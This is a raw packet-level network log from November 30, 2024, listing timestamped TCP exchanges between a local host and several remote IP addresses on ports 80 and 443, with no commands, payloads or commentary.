Nov 30, 2024 22:53:17.264466047 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.264843941 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.264892101 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.265223026 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.265273094 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.265599966 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.265649080 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.266185999 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.266238928 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.266463995 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.266510963 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.268275023 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.268286943 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.268338919 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.269140959 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.269151926 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.269196033 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.269932985 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.269943953 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.269989014 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.270787001 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.270798922 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.270859957 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.271553993 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.271569014 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.271611929 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.272361994 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.272373915 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.272417068 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.273138046 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:17.273189068 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:17.308115959 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:17.308175087 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:17.490391970 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:17.490686893 CET	49742	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:17.610940933 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:17.610961914 CET	80	49742	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:17.611107111 CET	49742	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:17.611392021 CET	49742	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:17.731379986 CET	80	49742	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:19.444658041 CET	80	49742	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:19.444717884 CET	49742	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:22.348722935 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:22.348772049 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:22.348900080 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:22.349386930 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:22.349404097 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.001867056 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.002002954 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.103730917 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.103760958 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.104104042 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.128495932 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.175333023 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.330585003 CET	49742	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:24.333271027 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:24.449326992 CET	80	49742	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:24.449476957 CET	49742	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:24.676615000 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.676645041 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.676690102 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.676707983 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.676738977 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.676755905 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.676800013 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.713674068 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.713742971 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.713763952 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.713799953 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.713815928 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:24.713816881 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.713816881 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.713860989 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.722814083 CET	49743	443	192.168.2.9	172.202.163.200
Nov 30, 2024 22:53:24.722840071 CET	443	49743	172.202.163.200	192.168.2.9
Nov 30, 2024 22:53:35.785435915 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:35.785464048 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:35.785551071 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:35.785950899 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:35.785962105 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:37.580440044 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:37.580801010 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:37.582962990 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:37.582973957 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:37.583246946 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:37.598083019 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:37.643327951 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.064810991 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.064835072 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.064851046 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.064946890 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.064965963 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.065103054 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.065103054 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.253088951 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.253119946 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.253351927 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.253370047 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.253420115 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.288788080 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.288816929 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.289011955 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.289042950 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.289222002 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.431329012 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.431359053 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.431610107 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.431621075 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.431663990 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.459997892 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.460026979 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.460191965 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.460201979 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.460345984 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.482121944 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.482131004 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.482320070 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.482327938 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.482467890 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.502588987 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.502624035 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.502820015 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.502830029 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.502888918 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.626864910 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.626894951 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.627012014 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.627036095 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.627166033 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.642122030 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.642151117 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.642342091 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.642362118 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.642538071 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.657135010 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.657162905 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.657273054 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.657289028 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.657423973 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.669770002 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.669791937 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.669954062 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.669965982 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.670145035 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.680778980 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.680799961 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.680948019 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.680954933 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.681003094 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.691474915 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.691500902 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.691780090 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.691790104 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.691931963 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.696047068 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.696141005 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.696144104 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.696187973 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.696300983 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.696316957 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.696337938 CET	49744	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.696342945 CET	443	49744	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.754981041 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.755031109 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.755098104 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.755882025 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.755912066 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.755964994 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.756139994 CET	49747	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.756160975 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.756211996 CET	49747	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.756695986 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.756706953 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.756789923 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.756836891 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.756891012 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.757023096 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.757035971 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.757153034 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.757165909 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.757235050 CET	49747	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.757241964 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.762444973 CET	49749	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.762492895 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:38.762599945 CET	49749	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.762891054 CET	49749	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:38.762903929 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.476125002 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.476942062 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.479573965 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.479598045 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.480212927 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.480218887 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.480757952 CET	49747	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.480777979 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.481333017 CET	49747	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.481339931 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.537131071 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.537786007 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.537810087 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.538270950 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.538276911 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.539160013 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.539503098 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.539534092 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.540129900 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.540152073 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.545162916 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.545520067 CET	49749	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.545536041 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.545936108 CET	49749	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.545939922 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.911622047 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.911746025 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.912065029 CET	49747	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.912364006 CET	49747	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.912385941 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.912398100 CET	49747	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.912404060 CET	443	49747	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.915671110 CET	49750	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.915721893 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.915791988 CET	49750	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.915937901 CET	49750	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.915951967 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.916512012 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.916533947 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.916579962 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.916596889 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.916644096 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.916779041 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.916783094 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.916800022 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.916923046 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.916949034 CET	443	49746	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.916981936 CET	49746	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.918781042 CET	49751	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.918819904 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.918879032 CET	49751	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.918994904 CET	49751	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.919007063 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.988256931 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.988286018 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.988351107 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.988379955 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.988637924 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.988655090 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.988665104 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.988804102 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.988833904 CET	443	49748	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.988873959 CET	49748	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.989202023 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.989269972 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.989315033 CET	49749	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.989425898 CET	49749	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.989440918 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.989450932 CET	49749	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.989454985 CET	443	49749	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991425037 CET	49752	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991466999 CET	443	49752	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991547108 CET	49753	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991549015 CET	49752	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991554022 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991579056 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991590023 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991626978 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991630077 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991645098 CET	49753	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991682053 CET	49752	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991693020 CET	443	49752	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991720915 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991803885 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991811037 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991826057 CET	49745	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991830111 CET	443	49745	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.991931915 CET	49753	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.991944075 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.993813038 CET	49754	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.993822098 CET	443	49754	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:40.993901968 CET	49754	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.994025946 CET	49754	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:40.994034052 CET	443	49754	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.704283953 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.704354048 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.704860926 CET	49751	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.704881907 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.704921007 CET	49750	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.704946995 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.705319881 CET	49751	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.705327988 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.705399036 CET	49750	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.705404043 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.771284103 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.772006989 CET	49753	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.772022963 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.772433996 CET	443	49754	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.772459984 CET	49753	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.772464991 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.772732973 CET	49754	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.772751093 CET	443	49754	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.773046017 CET	49754	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.773051977 CET	443	49754	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.779787064 CET	443	49752	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.780086040 CET	49752	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.780092955 CET	443	49752	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:42.780414104 CET	49752	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:42.780416965 CET	443	49752	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.148189068 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.148266077 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.148509979 CET	49750	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.148694992 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.148756981 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.148798943 CET	49751	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.149524927 CET	49750	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.149561882 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.149580956 CET	49750	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.149586916 CET	443	49750	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.150644064 CET	49751	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.150644064 CET	49751	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.150672913 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.150690079 CET	443	49751	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.152955055 CET	49755	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.152975082 CET	49756	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.152997017 CET	443	49755	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.153028965 CET	443	49756	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.153074980 CET	49755	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.153112888 CET	49756	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.153239012 CET	49755	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.153243065 CET	49756	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.153249025 CET	443	49755	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.153256893 CET	443	49756	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.214920998 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.214997053 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.215089083 CET	49753	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.215293884 CET	49753	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.215318918 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.215333939 CET	49753	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:43.215339899 CET	443	49753	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.217930079 CET	443	49754	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.217999935 CET	443	49754	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:43.218049049 CET	49754	443	192.168.2.9	13.107.246.63
